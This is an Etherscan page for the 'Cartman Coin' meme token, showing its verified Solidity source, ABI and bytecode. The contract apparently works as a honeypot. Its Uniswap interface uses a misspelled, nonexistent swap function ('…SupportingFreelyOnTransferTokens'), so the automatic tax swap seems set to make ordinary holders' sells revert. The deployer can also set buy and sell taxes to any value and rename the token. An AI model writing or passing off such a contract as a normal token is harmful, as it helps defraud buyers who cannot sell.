ETH Price: $2,309.70 (-4.69%)

Token

Cartman Coin (CARTMAN)
 

Overview

Max Total Supply

100,000,000 CARTMAN

Holders

29

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
1,285,955.905896045680427305 CARTMAN

Value
$0.00
0xbc4346e8f3676fcdeae643fb6e23e51901e5b191
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Cartman

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
shanghai EvmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-11-05
*/

/**
 *Submitted for verification at Etherscan.io on 2023-10-27
 */

/*

⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬛⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜
⬜⬜⬜⬜⬜⬜⬛⬛🟨🟨🟨🟨🟨⬛⬛⬜⬜⬜⬜⬜⬜
⬜⬜⬜⬜⬛⬛🟦🟦⬛⬛⬛⬛⬛🟦🟦⬛⬛⬜⬜⬜⬜
⬜⬜⬜⬛🟦🟦🟦🟦🟦🟦🟦🟦🟦🟦🟦🟦🟦⬛⬜⬜⬜
⬜⬜⬛🟦🟦🟦🟦🟨🟨🟨🟨🟨🟨🟨🟦🟦🟦🟦⬛⬜⬜
⬜⬜⬛🟦🟨🟨🟨⬛⬛⬛⬛⬛⬛⬛🟨🟨🟨🟦⬛⬜⬜
⬜⬛🟨🟨⬛⬛⬛⬜⬜⬜🏼⬜⬜⬜⬛⬛⬛🟨🟨⬛⬜
⬜⬛⬛⬛🏼🏼⬜⬜⬜⬜⬜⬜⬜⬜⬜🏼🏼⬛⬛⬛⬜
⬜⬛🏼🏼🏼⬜⬜⬜⬜⬛⬜⬛⬜⬜⬜⬜🏼🏼🏼⬛⬜
⬜⬛🏼🏼🏼⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜🏼🏼🏼⬛⬜
⬜⬛🏼🏼🏼⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜🏼🏼🏼⬛⬜
⬜⬜⬛🏼🏼🏼⬜⬜⬜⬜🏼⬜⬜⬜⬜🏼🏼🏼⬛⬜⬜
⬜⬜⬛🏼🏼🏼🏼🏼🏼🏼🏼🏼🏼🏼🏼🏼🏼🏼⬛⬜⬜
⬜⬜⬜⬛🏼🏼🏼🏼🏼⬛⬛⬛🏼🏼🏼🏼🏼⬛⬜⬜⬜
⬜⬜⬛⬛⬛⬛🏼🏼🏼🏼🏼🏼🏼🏼🏼⬛⬛⬛⬛⬜⬜
⬜⬛🟥🟥🟥🟥⬛⬛⬛⬛⬛⬛⬛⬛⬛🟥🟥🟥🟥⬛⬜
⬛🟥🟥🟥⬛🟥🟥🟥🟥🟥⬛🟥🟥🟥🟥🟥⬛🟥🟥🟥⬛
⬛🟨🟨⬛🟥🟥🟥🟥🟥🟥⬛🟥🟥🟥🟥🟥🟥⬛🟨🟨⬛
⬛🟨🟨⬛🟥🟥🟥🟥🟥🟥⬛🟥🟥🟥🟥🟥🟥⬛🟨🟨⬛
⬜⬛⬛⬛⬛⬛🟥🟥🟥🟥⬛🟥🟥🟥🟥⬛⬛⬛⬛⬛⬜
⬜⬜⬜⬛🟫🟫⬛⬛⬛⬛⬛⬛⬛⬛⬛🟫🟫⬛⬜⬜⬜
⬜⬜⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬜⬜


//TG: https://t.me/cartmancoin
//Twitter: https://twitter.com/Cartman_ERC20
//Website: https://cartman.club/


*/

// SPDX-License-Identifier: unlicense

pragma solidity ^0.8.0;

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFreelyOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract Cartman {
    string private _name = unicode"Cartman Coin";
    string private _symbol = unicode"CARTMAN";
    uint8 public constant decimals = 18;
    uint256 public constant totalSupply = 100_000_000 * 10**decimals;

    uint8 buyCharge = 1;
    uint8 sellCharge = 1;
    uint256 constant swapAmount = totalSupply / 100;

    error Permissions();
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed TOKEN_MKT,
        address indexed spender,
        uint256 value
    );

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    address private pair;
    address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    IUniswapV2Router02 constant _uniswapV2Router =
        IUniswapV2Router02(routerAddress);
    address payable TOKEN_MKT;

    bool private swapping;
    bool private tradingOpen;

    constructor() {
        TOKEN_MKT = payable(msg.sender);
        balanceOf[msg.sender] = totalSupply;
        allowance[address(this)][routerAddress] = type(uint256).max;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    receive() external payable {}

    function changeInfo(string memory name_, string memory symbol_) external {
        if (msg.sender != TOKEN_MKT) revert Permissions();
        _name = name_;
        _symbol = symbol_;
    }

    function taxRemove(uint8 _buy, uint8 _sell) external {
        if (msg.sender != TOKEN_MKT) revert Permissions();
        _remeveTax(_buy, _sell);
    }

    function openTrading() external {
        require(msg.sender == TOKEN_MKT);
        require(!tradingOpen);
        tradingOpen = true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        return _transfer(from, to, amount);
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, to, amount);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal returns (bool) {
        require(tradingOpen || from == TOKEN_MKT || to == TOKEN_MKT);

        if (!tradingOpen && pair == address(0) && amount > 0) pair = to;

        balanceOf[from] -= amount;

        if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount && from != TOKEN_MKT) {
            swapping = true;
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = ETH;
            _uniswapV2Router
                .swapExactTokensForETHSupportingFreelyOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                );
            TOKEN_MKT.transfer(address(this).balance);
            swapping = false;
        }

        if (from != address(this) && tradingOpen == true) {
            uint256 taxCalculatedAmount = (amount *
                (from == pair ? buyCharge : sellCharge)) / 100;
            amount -= taxCalculatedAmount;
            balanceOf[address(this)] += taxCalculatedAmount;
        }
        balanceOf[to] += amount;
        emit Transfer(from, to, amount);
        return true;
    }

    function _remeveTax(uint8 _buy, uint8 _sell) private {
        buyCharge = _buy;
        sellCharge = _sell;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Permissions","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"TOKEN_MKT","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"}],"name":"changeInfo","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint8","name":"_buy","type":"uint8"},{"internalType":"uint8","name":"_sell","type":"uint8"}],"name":"taxRemove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600c60809081526b21b0b93a36b0b71021b7b4b760a11b60a0525f906200002c9082620001dd565b5060408051808201909152600781526621a0a92a26a0a760c91b60208201526001906200005a9082620001dd565b506002805461ffff191661010117905534801562000076575f80fd5b50600680546001600160a01b03191633179055620000976012600a620003b4565b620000a7906305f5e100620003cb565b335f8181526003602090815260408083209490945530825260048152838220737a250d5630b4cf539739df2c5dacb4c659f2488d835290529182205f199055907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001166012600a620003b4565b62000126906305f5e100620003cb565b60405190815260200160405180910390a3620003e5565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200016657607f821691505b6020821081036200018557634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620001d8575f81815260208120601f850160051c81016020861015620001b35750805b601f850160051c820191505b81811015620001d457828155600101620001bf565b5050505b505050565b81516001600160401b03811115620001f957620001f96200013d565b62000211816200020a845462000151565b846200018b565b602080601f83116001811462000247575f84156200022f5750858301515b5f19600386901b1c1916600185901b178555620001d4565b5f85815260208120601f198616915b82811015620002775788860151825594840194600190910190840162000256565b50858210156200029557878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002f957815f1904821115620002dd57620002dd620002a5565b80851615620002eb57918102915b93841c9390800290620002be565b509250929050565b5f826200031157506001620003ae565b816200031f57505f620003ae565b8160018114620003385760028114620003435762000363565b6001915050620003ae565b60ff841115620003575762000357620002a5565b50506001821b620003ae565b5060208310610133831016604e8410600b841016171562000388575081810a620003ae565b620003948383620002b9565b805f1904821115620003aa57620003aa620002a5565b0290505b92915050565b5f620003c460ff84168362000301565b9392505050565b8082028115828204841417620003ae57620003ae620002a5565b610e4780620003f35f395ff3fe6080604052600436106100a8575f3560e01c806370a082311161006257806370a08231146101945780637a9cc673146101bf57806395d89b41146101de578063a9059cbb146101f2578063c9567bf914610211578063dd62ed3e14610225575f80fd5b806306fdde03146100b3578063095ea7b3146100dd57806318160ddd1461010c5780631d4776c21461012e57806323b872dd1461014f578063313ce5671461016e575f80fd5b366100af57005b5f80fd5b3480156100be575f80fd5b506100c761025b565b6040516100d491906108a9565b60405180910390f35b3480156100e8575f80fd5b506100fc6100f736600461090f565b6102ea565b60405190151581526020016100d4565b348015610117575f80fd5b50610120610356565b6040519081526020016100d4565b348015610139575f80fd5b5061014d6101483660046109d4565b610373565b005b34801561015a575f80fd5b506100fc610169366004610a34565b6103ba565b348015610179575f80fd5b50610182601281565b60405160ff90911681526020016100d4565b34801561019f575f80fd5b506101206101ae366004610a6d565b60036020525f908152604090205481565b3480156101ca575f80fd5b5061014d6101d9366004610a96565b610407565b3480156101e9575f80fd5b506100c7610452565b3480156101fd575f80fd5b506100fc61020c36600461090f565b610461565b34801561021c575f80fd5b5061014d610474565b348015610230575f80fd5b5061012061023f366004610ac7565b600460209081525f928352604080842090915290825290205481565b60605f805461026990610aef565b80601f016020809104026020016040519081016040528092919081815260200182805461029590610aef565b80156102e05780601f106102b7576101008083540402835291602001916102e0565b820191905f5260205f20905b8154815290600101906020018083116102c357829003601f168201915b5050505050905090565b335f8181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103449086815260200190565b60405180910390a35060015b92915050565b6103626012600a610c1b565b610370906305f5e100610c29565b81565b6006546001600160a01b0316331461039d57604051629af2b160e81b815260040160405180910390fd5b5f6103a88382610c8d565b5060016103b58282610c8d565b505050565b6001600160a01b0383165f9081526004602090815260408083203384529091528120805483919083906103ee908490610d49565b909155506103ff90508484846104b5565b949350505050565b6006546001600160a01b0316331461043157604051629af2b160e81b815260040160405180910390fd5b6002805460ff9283166101000261ffff199091169390921692909217179055565b60606001805461026990610aef565b5f61046d3384846104b5565b9392505050565b6006546001600160a01b0316331461048a575f80fd5b600654600160a81b900460ff16156104a0575f80fd5b6006805460ff60a81b1916600160a81b179055565b6006545f90600160a81b900460ff16806104dc57506006546001600160a01b038581169116145b806104f457506006546001600160a01b038481169116145b6104fc575f80fd5b600654600160a81b900460ff1615801561051f57506005546001600160a01b0316155b801561052a57505f82115b1561054b57600580546001600160a01b0319166001600160a01b0385161790555b6001600160a01b0384165f9081526003602052604081208054849290610572908490610d49565b90915550506005546001600160a01b03848116911614801561059e5750600654600160a01b900460ff16155b80156105dd575060646105b36012600a610c1b565b6105c1906305f5e100610c29565b6105cb9190610d5c565b305f9081526003602052604090205410155b80156105f757506006546001600160a01b03858116911614155b1561077a576006805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061064257610642610d7b565b60200260200101906001600160a01b031690816001600160a01b03168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28160018151811061068a5761068a610d7b565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63eb6f613960646106ca6012600a610c1b565b6106d8906305f5e100610c29565b6106e29190610d5c565b5f8430426040518663ffffffff1660e01b8152600401610706959493929190610d8f565b5f604051808303815f87803b15801561071d575f80fd5b505af115801561072f573d5f803e3d5ffd5b50506006546040516001600160a01b0390911692504780156108fc029250905f818181858888f1935050505015801561076a573d5f803e3d5ffd5b50506006805460ff60a01b191690555b6001600160a01b03841630148015906107a15750600654600160a81b900460ff1615156001145b15610824576005545f906064906001600160a01b038781169116146107d057600254610100900460ff166107d7565b60025460ff165b6107e49060ff1685610c29565b6107ee9190610d5c565b90506107fa8184610d49565b305f9081526003602052604081208054929550839290919061081d908490610dfe565b9091555050505b6001600160a01b0383165f908152600360205260408120805484929061084b908490610dfe565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161089791815260200190565b60405180910390a35060019392505050565b5f6020808352835180828501525f5b818110156108d4578581018301518582016040015282016108b8565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461090a575f80fd5b919050565b5f8060408385031215610920575f80fd5b610929836108f4565b946020939093013593505050565b634e487b7160e01b5f52604160045260245ffd5b5f82601f83011261095a575f80fd5b813567ffffffffffffffff8082111561097557610975610937565b604051601f8301601f19908116603f0116810190828211818310171561099d5761099d610937565b816040528381528660208588010111156109b5575f80fd5b836020870160208301375f602085830101528094505050505092915050565b5f80604083850312156109e5575f80fd5b823567ffffffffffffffff808211156109fc575f80fd5b610a088683870161094b565b93506020850135915080821115610a1d575f80fd5b50610a2a8582860161094b565b9150509250929050565b5f805f60608486031215610a46575f80fd5b610a4f846108f4565b9250610a5d602085016108f4565b9150604084013590509250925092565b5f60208284031215610a7d575f80fd5b61046d826108f4565b803560ff8116811461090a575f80fd5b5f8060408385031215610aa7575f80fd5b610ab083610a86565b9150610abe60208401610a86565b90509250929050565b5f8060408385031215610ad8575f80fd5b610ae1836108f4565b9150610abe602084016108f4565b600181811c90821680610b0357607f821691505b602082108103610b2157634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610b7557815f1904821115610b5b57610b5b610b27565b80851615610b6857918102915b93841c9390800290610b40565b509250929050565b5f82610b8b57506001610350565b81610b9757505f610350565b8160018114610bad5760028114610bb757610bd3565b6001915050610350565b60ff841115610bc857610bc8610b27565b50506001821b610350565b5060208310610133831016604e8410600b8410161715610bf6575081810a610350565b610c008383610b3b565b805f1904821115610c1357610c13610b27565b029392505050565b5f61046d60ff841683610b7d565b808202811582820484141761035057610350610b27565b601f8211156103b5575f81815260208120601f850160051c81016020861015610c665750805b601f850160051c820191505b81811015610c8557828155600101610c72565b505050505050565b815167ffffffffffffffff811115610ca757610ca7610937565b610cbb81610cb58454610aef565b84610c40565b602080601f831160018114610cee575f8415610cd75750858301515b5f19600386901b1c1916600185901b178555610c85565b5f85815260208120601f198616915b82811015610d1c57888601518255948401946001909101908401610cfd565b5085821015610d3957878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b8181038181111561035057610350610b27565b5f82610d7657634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015610ddd5784516001600160a01b031683529383019391830191600101610db8565b50506001600160a01b03969096166060850152505050608001529392505050565b8082018082111561035057610350610b2756fea2646970667358221220468067c2c422c23ad716e516407d79a9349ebd507a2b5653aff65d779a02688364736f6c63430008150033

Deployed Bytecode

0x6080604052600436106100a8575f3560e01c806370a082311161006257806370a08231146101945780637a9cc673146101bf57806395d89b41146101de578063a9059cbb146101f2578063c9567bf914610211578063dd62ed3e14610225575f80fd5b806306fdde03146100b3578063095ea7b3146100dd57806318160ddd1461010c5780631d4776c21461012e57806323b872dd1461014f578063313ce5671461016e575f80fd5b366100af57005b5f80fd5b3480156100be575f80fd5b506100c761025b565b6040516100d491906108a9565b60405180910390f35b3480156100e8575f80fd5b506100fc6100f736600461090f565b6102ea565b60405190151581526020016100d4565b348015610117575f80fd5b50610120610356565b6040519081526020016100d4565b348015610139575f80fd5b5061014d6101483660046109d4565b610373565b005b34801561015a575f80fd5b506100fc610169366004610a34565b6103ba565b348015610179575f80fd5b50610182601281565b60405160ff90911681526020016100d4565b34801561019f575f80fd5b506101206101ae366004610a6d565b60036020525f908152604090205481565b3480156101ca575f80fd5b5061014d6101d9366004610a96565b610407565b3480156101e9575f80fd5b506100c7610452565b3480156101fd575f80fd5b506100fc61020c36600461090f565b610461565b34801561021c575f80fd5b5061014d610474565b348015610230575f80fd5b5061012061023f366004610ac7565b600460209081525f928352604080842090915290825290205481565b60605f805461026990610aef565b80601f016020809104026020016040519081016040528092919081815260200182805461029590610aef565b80156102e05780601f106102b7576101008083540402835291602001916102e0565b820191905f5260205f20905b8154815290600101906020018083116102c357829003601f168201915b5050505050905090565b335f8181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103449086815260200190565b60405180910390a35060015b92915050565b6103626012600a610c1b565b610370906305f5e100610c29565b81565b6006546001600160a01b0316331461039d57604051629af2b160e81b815260040160405180910390fd5b5f6103a88382610c8d565b5060016103b58282610c8d565b505050565b6001600160a01b0383165f9081526004602090815260408083203384529091528120805483919083906103ee908490610d49565b909155506103ff90508484846104b5565b949350505050565b6006546001600160a01b0316331461043157604051629af2b160e81b815260040160405180910390fd5b6002805460ff9283166101000261ffff199091169390921692909217179055565b60606001805461026990610aef565b5f61046d3384846104b5565b9392505050565b6006546001600160a01b0316331461048a575f80fd5b600654600160a81b900460ff16156104a0575f80fd5b6006805460ff60a81b1916600160a81b179055565b6006545f90600160a81b900460ff16806104dc57506006546001600160a01b038581169116145b806104f457506006546001600160a01b038481169116145b6104fc575f80fd5b600654600160a81b900460ff1615801561051f57506005546001600160a01b0316155b801561052a57505f82115b1561054b57600580546001600160a01b0319166001600160a01b0385161790555b6001600160a01b0384165f9081526003602052604081208054849290610572908490610d49565b90915550506005546001600160a01b03848116911614801561059e5750600654600160a01b900460ff16155b80156105dd575060646105b36012600a610c1b565b6105c1906305f5e100610c29565b6105cb9190610d5c565b305f9081526003602052604090205410155b80156105f757506006546001600160a01b03858116911614155b1561077a576006805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061064257610642610d7b565b60200260200101906001600160a01b031690816001600160a01b03168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28160018151811061068a5761068a610d7b565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63eb6f613960646106ca6012600a610c1b565b6106d8906305f5e100610c29565b6106e29190610d5c565b5f8430426040518663ffffffff1660e01b8152600401610706959493929190610d8f565b5f604051808303815f87803b15801561071d575f80fd5b505af115801561072f573d5f803e3d5ffd5b50506006546040516001600160a01b0390911692504780156108fc029250905f818181858888f1935050505015801561076a573d5f803e3d5ffd5b50506006805460ff60a01b191690555b6001600160a01b03841630148015906107a15750600654600160a81b900460ff1615156001145b15610824576005545f906064906001600160a01b038781169116146107d057600254610100900460ff166107d7565b60025460ff165b6107e49060ff1685610c29565b6107ee9190610d5c565b90506107fa8184610d49565b305f9081526003602052604081208054929550839290919061081d908490610dfe565b9091555050505b6001600160a01b0383165f908152600360205260408120805484929061084b908490610dfe565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161089791815260200190565b60405180910390a35060019392505050565b5f6020808352835180828501525f5b818110156108d4578581018301518582016040015282016108b8565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461090a575f80fd5b919050565b5f8060408385031215610920575f80fd5b610929836108f4565b946020939093013593505050565b634e487b7160e01b5f52604160045260245ffd5b5f82601f83011261095a575f80fd5b813567ffffffffffffffff8082111561097557610975610937565b604051601f8301601f19908116603f0116810190828211818310171561099d5761099d610937565b816040528381528660208588010111156109b5575f80fd5b836020870160208301375f602085830101528094505050505092915050565b5f80604083850312156109e5575f80fd5b823567ffffffffffffffff808211156109fc575f80fd5b610a088683870161094b565b93506020850135915080821115610a1d575f80fd5b50610a2a8582860161094b565b9150509250929050565b5f805f60608486031215610a46575f80fd5b610a4f846108f4565b9250610a5d602085016108f4565b9150604084013590509250925092565b5f60208284031215610a7d575f80fd5b61046d826108f4565b803560ff8116811461090a575f80fd5b5f8060408385031215610aa7575f80fd5b610ab083610a86565b9150610abe60208401610a86565b90509250929050565b5f8060408385031215610ad8575f80fd5b610ae1836108f4565b9150610abe602084016108f4565b600181811c90821680610b0357607f821691505b602082108103610b2157634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610b7557815f1904821115610b5b57610b5b610b27565b80851615610b6857918102915b93841c9390800290610b40565b509250929050565b5f82610b8b57506001610350565b81610b9757505f610350565b8160018114610bad5760028114610bb757610bd3565b6001915050610350565b60ff841115610bc857610bc8610b27565b50506001821b610350565b5060208310610133831016604e8410600b8410161715610bf6575081810a610350565b610c008383610b3b565b805f1904821115610c1357610c13610b27565b029392505050565b5f61046d60ff841683610b7d565b808202811582820484141761035057610350610b27565b601f8211156103b5575f81815260208120601f850160051c81016020861015610c665750805b601f850160051c820191505b81811015610c8557828155600101610c72565b505050505050565b815167ffffffffffffffff811115610ca757610ca7610937565b610cbb81610cb58454610aef565b84610c40565b602080601f831160018114610cee575f8415610cd75750858301515b5f19600386901b1c1916600185901b178555610c85565b5f85815260208120601f198616915b82811015610d1c57888601518255948401946001909101908401610cfd565b5085821015610d3957878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b8181038181111561035057610350610b27565b5f82610d7657634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015610ddd5784516001600160a01b031683529383019391830191600101610db8565b50506001600160a01b03969096166060850152505050608001529392505050565b8082018082111561035057610350610b2756fea2646970667358221220468067c2c422c23ad716e516407d79a9349ebd507a2b5653aff65d779a02688364736f6c63430008150033

Deployed Bytecode Sourcemap

2145:4128:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4601:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4249:207;;;;;;;;;;-1:-1:-1;4249:207:0;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;4249:207:0;1004:187:1;2310:64:0;;;;;;;;;;;;;:::i;:::-;;;1342:25:1;;;1330:2;1315:18;2310:64:0;1196:177:1;3502:193:0;;;;;;;;;;-1:-1:-1;3502:193:0;;;;;:::i;:::-;;:::i;:::-;;4018:223;;;;;;;;;;-1:-1:-1;4018:223:0;;;;;:::i;:::-;;:::i;2268:35::-;;;;;;;;;;;;2301:2;2268:35;;;;;3287:4:1;3275:17;;;3257:36;;3245:2;3230:18;2268:35:0;3115:184:1;2720:44:0;;;;;;;;;;-1:-1:-1;2720:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;3703:155;;;;;;;;;;-1:-1:-1;3703:155:0;;;;;:::i;:::-;;:::i;4700:95::-;;;;;;;;;;;;;:::i;4464:129::-;;;;;;;;;;-1:-1:-1;4464:129:0;;;;;:::i;:::-;;:::i;3866:144::-;;;;;;;;;;;;;:::i;2771:64::-;;;;;;;;;;-1:-1:-1;2771:64:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;4601:91;4646:13;4679:5;4672:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4601:91;:::o;4249:207::-;4344:10;4317:4;4334:21;;;:9;:21;;;;;;;;-1:-1:-1;;;;;4334:30:0;;;;;;;;;;:39;;;4389:37;4317:4;;4334:30;;4389:37;;;;4367:6;1342:25:1;;1330:2;1315:18;;1196:177;4389:37:0;;;;;;;;-1:-1:-1;4444:4:0;4249:207;;;;;:::o;2310:64::-;2362:12;2301:2;2362;:12;:::i;:::-;2348:26;;:11;:26;:::i;:::-;2310:64;:::o;3502:193::-;3604:9;;-1:-1:-1;;;;;3604:9:0;3590:10;:23;3586:49;;3622:13;;-1:-1:-1;;;3622:13:0;;;;;;;;;;;3586:49;3646:5;:13;3654:5;3646;:13;:::i;:::-;-1:-1:-1;3670:7:0;:17;3680:7;3670;:17;:::i;:::-;;3502:193;;:::o;4018:223::-;-1:-1:-1;;;;;4151:15:0;;4134:4;4151:15;;;:9;:15;;;;;;;;4167:10;4151:27;;;;;;;:37;;4182:6;;4151:27;4134:4;;4151:37;;4182:6;;4151:37;:::i;:::-;;;;-1:-1:-1;4206:27:0;;-1:-1:-1;4216:4:0;4222:2;4226:6;4206:9;:27::i;:::-;4199:34;4018:223;-1:-1:-1;;;;4018:223:0:o;3703:155::-;3785:9;;-1:-1:-1;;;;;3785:9:0;3771:10;:23;3767:49;;3803:13;;-1:-1:-1;;;3803:13:0;;;;;;;;;;;3767:49;6217:9;:16;;;6244:18;;;6217:16;6244:18;-1:-1:-1;;6244:18:0;;;6217:16;;;;6244:18;;;;;;;3703:155::o;4700:95::-;4747:13;4780:7;4773:14;;;;;:::i;4464:129::-;4528:4;4552:33;4562:10;4574:2;4578:6;4552:9;:33::i;:::-;4545:40;4464:129;-1:-1:-1;;;4464:129:0:o;3866:144::-;3931:9;;-1:-1:-1;;;;;3931:9:0;3917:10;:23;3909:32;;;;;;3961:11;;-1:-1:-1;;;3961:11:0;;;;3960:12;3952:21;;;;;;3984:11;:18;;-1:-1:-1;;;;3984:18:0;-1:-1:-1;;;3984:18:0;;;3866:144::o;4803:1342::-;4941:11;;4916:4;;-1:-1:-1;;;4941:11:0;;;;;:32;;-1:-1:-1;4964:9:0;;-1:-1:-1;;;;;4956:17:0;;;4964:9;;4956:17;4941:32;:51;;;-1:-1:-1;4983:9:0;;-1:-1:-1;;;;;4977:15:0;;;4983:9;;4977:15;4941:51;4933:60;;;;;;5011:11;;-1:-1:-1;;;5011:11:0;;;;5010:12;:34;;;;-1:-1:-1;5026:4:0;;-1:-1:-1;;;;;5026:4:0;:18;5010:34;:48;;;;;5057:1;5048:6;:10;5010:48;5006:63;;;5060:4;:9;;-1:-1:-1;;;;;;5060:9:0;-1:-1:-1;;;;;5060:9:0;;;;;5006:63;-1:-1:-1;;;;;5082:15:0;;;;;;:9;:15;;;;;:25;;5101:6;;5082:15;:25;;5101:6;;5082:25;:::i;:::-;;;;-1:-1:-1;;5130:4:0;;-1:-1:-1;;;;;5124:10:0;;;5130:4;;5124:10;:23;;;;-1:-1:-1;5139:8:0;;-1:-1:-1;;;5139:8:0;;;;5138:9;5124:23;:65;;;;-1: